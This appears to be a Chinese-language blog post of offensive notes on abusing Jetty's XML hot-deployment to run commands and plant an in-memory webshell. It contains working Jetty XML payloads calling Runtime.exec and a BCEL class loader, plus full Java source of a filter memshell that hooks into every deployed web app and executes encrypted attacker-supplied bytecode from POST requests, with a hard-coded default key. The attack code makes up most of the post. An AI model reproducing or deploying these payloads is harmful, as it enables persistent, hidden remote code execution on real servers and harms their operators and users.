jetty的xml加载命令执行的特性/另类内存马注入

前言:jetty 的另类内存马注入的笔记

参考文章:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
参考文章:https://www.cnblogs.com/hustdc/p/8366606.html

jetty xml命令执行

jetty其中存在一种利用方法是通过当不支持脚本文件解析的情况下,如果能上传xml文件到webapps根目录下的,默认热部署支持解析从从而进行命令执行

执行calc如下所示

<?xml version="1.0"?><!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
    <Call id="foo" class="java.lang.Runtime" name="getRuntime"></Call>
    <Ref refid="foo">
        <Call name="exec">
            <Arg>calc</Arg>
        </Call>
    </Ref>
</Configure>

通过bcel类字节码进行加载的话调用格式如下所示

<?xml version="1.0"?><!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
    <New id="foo" class="com.sun.org.apache.bcel.internal.util.ClassLoader"></New>

    <Ref refid="foo">
        <Call id="test1" name="loadClass">
            <Arg>$$BCEL$。。。。。。。。</Arg>
        </Call>
    </Ref>

    <Ref refid="test1">
        <Call name="newInstance"></Call>
    </Ref>

</Configure>

另类内存马注入

默认来说一般都是在已经部署好的web的目录中进行访问,如果是这样的话,那么默认获取的ContextClassLoader 是 WebAppClassLoader,对应的直接通过网上公开的通过Thread.currentThread()找到对应的一条路径进行注入即可

但是这边遇到的情况是在根目录通过xml方式来进行加载字节码,无法通过线程来直接获取WebAppClassLoader,默认获取的就是AppClassLoader,这就导致了无法用公开的注入路径来实现内存马注入,如下图所示

所以这里使用c0ny1的java-object-researcher工具搜索相关的关键类型,这里需要注意的下面这段代码是放在加载字节码中的,因为是通过加载字节码中的代码来实现的内存马注入,所以寻找对应的webappContext类也是在当前的变量中进行寻找

        try {
            //设置搜索类型包含Request关键字的对象
            List<Keyword> keys = new ArrayList<>();
            keys.add(new Keyword.Builder().setField_type("HttpConnection").build());
            keys.add(new Keyword.Builder().setField_type("WebAppContext").build());
            keys.add(new Keyword.Builder().setField_type("WebAppClassLoader").build());
            keys.add(new Keyword.Builder().setField_type("ServletHandler").build());

            List<Blacklist> blacklists = new ArrayList<>();
            blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
            //新建一个广度优先搜索Thread.currentThread()的搜索器
            SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
            // 设置黑名单
            searcher.setBlacklists(blacklists);
            //打开调试模式,会生成log日志
            searcher.setIs_debug(true);
            //挖掘深度为30
            searcher.setMax_search_depth(20);
            //设置报告保存位置
            searcher.setReport_save_path("D:\\ALL\\javaidea\\jetty-demo2");
            searcher.searchObject();
        }catch (Exception e){
            e.printStackTrace();
        }

一共发现三条路径,这里选择其中一条即可,如下所示

构造出对应路径的内存马如下所示

package com.zpchcbd.classloader;

import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.deploy.providers.ScanningAppProvider;
import org.eclipse.jetty.deploy.providers.WebAppProvider;
import org.eclipse.jetty.util.Scanner;
import org.eclipse.jetty.webapp.WebAppContext;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.*;

public class JettyFilterMemshell3 extends AbstractTranslet implements Filter {
    static {
        try {
            String filterName = "TestFilter";
            String urlPattern = "/*";

            Thread thread = Thread.currentThread();
            Field field = Class.forName("java.util.TimerThread").getDeclaredField("queue");
            field.setAccessible(true);

            Field field_2 = Class.forName("java.util.TaskQueue").getDeclaredField("queue");
            field_2.setAccessible(true);
            TimerTask[] timerTasks = (TimerTask[])field_2.get(field.get(thread));

            field = timerTasks[1].getClass().getDeclaredField("this$0");
            field.setAccessible(true);
            Scanner scanner = (Scanner)field.get(timerTasks[1]);

            field = scanner.getClass().getDeclaredField("_listeners");
            field.setAccessible(true);
            List listenerList = (List)field.get(scanner);

            Scanner.DiscreteListener discreteListener = (Scanner.DiscreteListener) listenerList.get(0);
            field = discreteListener.getClass().getDeclaredField("this$0");
            field.setAccessible(true);
            WebAppProvider webAppProvider = (WebAppProvider)field.get(discreteListener);

            field = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");
            field.setAccessible(true);
            Map<String,org.eclipse.jetty.deploy.App> _appMap = (Map<String,org.eclipse.jetty.deploy.App>)field.get(webAppProvider);

            org.eclipse.jetty.webapp.WebAppContext webAppContext = null;
            for (org.eclipse.jetty.deploy.App app : _appMap.values()) {

                field = app.getClass().getDeclaredField("_context");
                field.setAccessible(true);
                webAppContext = (WebAppContext)field.get(app);

                if (webAppContext != null) {
                    field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
                    field.setAccessible(true);
                    Object handler = field.get(webAppContext);
                    field = handler.getClass().getDeclaredField("_filters");
                    field.setAccessible(true);
                    Object[] objects = (Object[]) field.get(handler);
                    boolean flag = false;
                    for (Object o : objects) {
                        field = o.getClass().getSuperclass().getDeclaredField("_name");
                        field.setAccessible(true);
                        String name = (String) field.get(o);
                        if (name.equals(filterName)) {
                            flag = true;
                            break;
                        }
                    }
                    if (!flag) {
                        ClassLoader classLoader = handler.getClass().getClassLoader();
                        Class sourceClazz = null;
                        Object holder = null;
                        Field modifiers = Field.class.getDeclaredField("modifiers");
                        modifiers.setAccessible(true);
                        try {
                            sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
                            field = sourceClazz.getDeclaredField("JAVAX_API");
                            modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
                            Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
                            holder = method.invoke(handler, field.get(null));
                        } catch (ClassNotFoundException e) {
                            sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
                            Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
                            holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
                        }

                        holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
                        Filter filter = new com.zpchcbd.classloader.JettyFilterMemshell3();
                        holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
                        handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder);

                        Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
                        Object filterMapping = clazz.newInstance();
                        Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
                        method.setAccessible(true);
                        method.invoke(filterMapping, holder);
                        filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
                        filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));

//                        // prependFilterMapping 会自动把 filter 加到最前面
                        handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping);
                    }
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {

        try {
            System.out.println("Do Filter ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();
            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        chain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

结果如下图所示

posted @ 2022-10-11 23:02  zpchcbd  阅读(864)  评论(0)    收藏  举报